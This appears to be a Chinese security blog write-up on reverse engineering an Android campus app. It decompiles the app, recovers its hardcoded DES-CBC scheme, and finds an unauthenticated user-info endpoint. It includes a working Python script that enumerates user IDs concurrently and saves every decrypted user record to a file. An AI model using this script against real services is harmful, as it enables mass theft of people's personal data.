一次对Android APP简单的逆向分析

一个非常简单的APP逆向分析,学习一下Android应用的分析。

Apktool

Apktool是一种用于对第三方、封闭的二进制 Android 应用程序进行逆向工程的工具。它可以将资源解码为接近原始形式,并在进行一些修改后重建它们;它可以逐步调试 SMALI 代码;此外,由于类似项目的文件结构和一些重复性任务(如构建 apk 等)的自动化,它使使用应用程序变得更加容易。

下载链接(Github):Releases · iBotPeaches/Apktool (github.com)

解包

执行下面的命令即可,base.apk是需要解包的apk文件,-o指定输出目录:

1
java -jar apktool.jar d base.apk -o base

寻找接口

手机代理到电脑上的burpsuite代理端口,即可对手机上一些走系统代理的应用进行抓包,这个APP恰好走系统代理,并且是http协议发包,无需安装证书:

尝试在手机上访问一些接口,就可以得到一些接口数据:

然后可以看到,请求数据包和响应都是加密的:

这时候看起来没啥办法继续分析报文了,暂不考虑暴力解密,我们就从逆向的smali文件中找找线索,直接搜索接口名字发现APP完全没有做任何混淆,可以找到下面内容:

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/base/smali]
└─$ grep -r "xxxxxService"
com/dses/camp******/common/DataUtils.smali: const-string v4, "/xxxxxService"
com/dses/camp******/common/DataUtils.smali: const-string v6, "/xxxxxService"
com/dses/camp******/common/DataUtils.smali: const-string v6, "/xxxxxService"

找到以上目录,我们可以发现下列内容:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Desktop/base/smali]
└─$ cd com/dses/camp******/common/

┌──(kali㉿kali)-[~/…/com/dses/camp******/common]
└─$ ls
DataManager.smali DES.smali Global.smali
DataUtils.smali FileUtils.smali MyResponseHandler.smali
GlideRoundTransform.smali PersistenceCacheScope.smali

看到了一个可疑的DES文件,初步怀疑是使用了DES加密。

smali2java

smali2java是一个将smali代码翻译成java代码的工具

一个Github下载链接:Releases · AlexeySoshin/smali2java (github.com)

前面已经使用apktool将apk反编译成smali代码,并且我们发现了一个DES.smali代码,疑似加密用途,下面我们就将该代码翻译成Java代码更容易阅读:

1
2
3
4
#下载解压之后如果没有运行权限需要给程序添加可执行权限
chmod +x smali2java_linux_amd64
#翻译smali代码
./smali2java_linux_amd64 -path_to_smali=./base/smali/com/dses/camp******/common/DES.smali

然后我们就在smali目录下看到了翻译好的java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class com.dses.camp******.common.DES {
/* .source "DES.java" */
private static java.lang.String DESKey;
private static iv;
static com.dses.camp******.common.DES ( ) {
final String v0 = "密钥";
return;
} // .end array-data
} // .end method
public com.dses.camp******.common.DES ( ) {
return;
} // .end method
public static java.lang.String decryptDES ( java.lang.String p0 ) {
} // .end annotation
int v5 = 0; // const/4 v5, 0x0
com.cbs.utils.F$Base64 .base64Decode ( p0,v5 );
v5 = com.dses.camp******.common.DES.iv;
v5 = com.dses.camp******.common.DES.DESKey;
(( java.lang.String ) v5 ).getBytes ( ); // invoke-virtual {v5}, Ljava/lang/String;->getBytes()[B
final String v6 = "DES"; // const-string v6, "DES"
final String v5 = "DES/CBC/PKCS5Padding"; // const-string v5, "DES/CBC/PKCS5Padding"
javax.crypto.Cipher .getInstance ( v5 );
int v5 = 2; // const/4 v5, 0x2
(( javax.crypto.Cipher ) v1 ).init ( v5, v3, v4 ); // invoke-virtual {v1, v5, v3, v4},
(( javax.crypto.Cipher ) v1 ).doFinal ( v0 ); // invoke-virtual {v1, v0},
final String v6 = "gbk"; // const-string v6, "gbk"
public static java.lang.String encryptDES ( java.lang.String p0 ) {
v4 = com.dses.camp******.common.DES.iv;
v4 = com.dses.camp******.common.DES.DESKey;
(( java.lang.String ) v4 ).getBytes ( ); // invoke-virtual {v4}, Ljava/lang/String;->getBytes()[B
final String v5 = "DES"; // const-string v5, "DES"
final String v4 = "DES/CBC/PKCS5Padding"; // const-string v4, "DES/CBC/PKCS5Padding"
javax.crypto.Cipher .getInstance ( v4 );
int v4 = 1; // const/4 v4, 0x1
(( javax.crypto.Cipher ) v0 ).init ( v4, v2, v3 ); // invoke-virtual {v0, v4, v2, v3},
final String v4 = "gbk"; // const-string v4, "gbk"
(( java.lang.String ) p0 ).getBytes ( v4 ); // invoke-virtual {p0, v4},
(( javax.crypto.Cipher ) v0 ).doFinal ( v4 ); // invoke-virtual {v0, v4},
int v5 = 2; // const/4 v5, 0x2
com.cbs.utils.F$Base64 .base64Encode ( v1,v5 );
}

以上代码翻译的可能不是完全正确,但是我们可以大致分析出数据包采用了DES加密,加密模式为CBC,初始化向量为固定值0x0,数据的编码方式为gbk,padding的方式为PKCS5Padding,并且加密的结果是经过base64编码的。

随后我们根据这个加密规则进行解密,成功将密文解密,然后发现没有进行任何鉴权,直接通过userid去查询用户的所有信息,那么我们就可以使用下面的poc脚本批量获取接口数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# poc.py
import threading
from Crypto.Cipher import DES
import base64
import requests
from urllib import parse
import concurrent.futures

# 全局锁,用于确保对文件的写入操作是线程安全的
file_write_lock = threading.Lock()
def send_post_request(url, data):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
response = requests.post(url, headers=headers, data=data)

return response

def pad(text):
# PKCS padding
pad_size = 8 - (len(text) % 8)
return text + bytes([pad_size] * pad_size)

def des_encrypt(key, data):
iv = bytes([0x00] * 8) # Generate a random IV for CBC mode
cipher = DES.new(key, DES.MODE_CBC, iv)
padded_data = pad(data)
encrypted_data = cipher.encrypt(padded_data)
return encrypted_data

def des_decrypt(data, key):
iv = bytes([0x00] * 8) # Generate a random IV for CBC mode
cipher = DES.new(key, DES.MODE_CBC, iv)
encrypted_data = base64.b64decode(data)
decrypted_data = cipher.decrypt(encrypted_data)
pad_size = decrypted_data[-1]
decrypted_data = decrypted_data[:-pad_size]
return decrypted_data.decode('gb2312')

def extract_string_value(xml_string, key):
encrypted_string = xml_string.replace('<?xml version="1.0" encoding="utf-8"?>','').replace('</string>','').replace('<string xmlns="http://tempuri.org/">', '').replace('\n', '').replace('\r', '')
if encrypted_string is not None:
decrypted_string = des_decrypt(encrypted_string, key)
return decrypted_string
else:
return ""

def process_and_write_data(i):
# 这里可以放置您要并发执行的任务逻辑
# Replace '密钥' with your actual key (8 bytes)
key = b'密钥'
data = base64.b64decode('解密后的base64请求')
data = data.decode('utf-8').replace('userid',str(i)).encode('utf-8')
encrypted_data = des_encrypt(key, data)

# Convert the encrypted data to Base64
encrypted_base64 = base64.b64encode(encrypted_data).decode('utf-8')
# print(encrypted_base64)
encrypted_base64 = parse.quote(encrypted_base64)
# print(encrypted_base64)
url = "http://xxx.xxxxx.edu.cn/campuxxxxxxxxx/xxxxxxxx.asmx/xxxxxService"
response = send_post_request(url, "order="+encrypted_base64)
if response.status_code == 200:
with file_write_lock:
with open("info.txt", "a") as f:
f.write(str(i)+'\t'+extract_string_value(response.text, key)+'\n')
else:
print("Failed!")
print(i)
def main():
data_list = list(range(userid_start, userid_stop))
with concurrent.futures.ThreadPoolExecutor() as executor:
# 使用executor.map并发执行任务
executor.map(process_and_write_data, data_list)


if __name__ == "__main__":
main()

主要的问题是使用了硬编码密钥、不安全的加密算法、没有对APP加固、没有鉴权策略导致水平越权等一系列安全问题。

一些工具

base64编码解码:Base64 编码/解码 - 在线工具 (toolhelper.cn)

url编解码:在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)

DES在线加解密:DES在线解密 DES在线加密 des hex - The X 在线工具 (the-x.cn)


一次对Android APP简单的逆向分析
https://chujian521.github.io/blog/2023/11/19/一次对Android-APP简单的逆向分析/
作者
Encounter
发布于
2023年11月19日
许可协议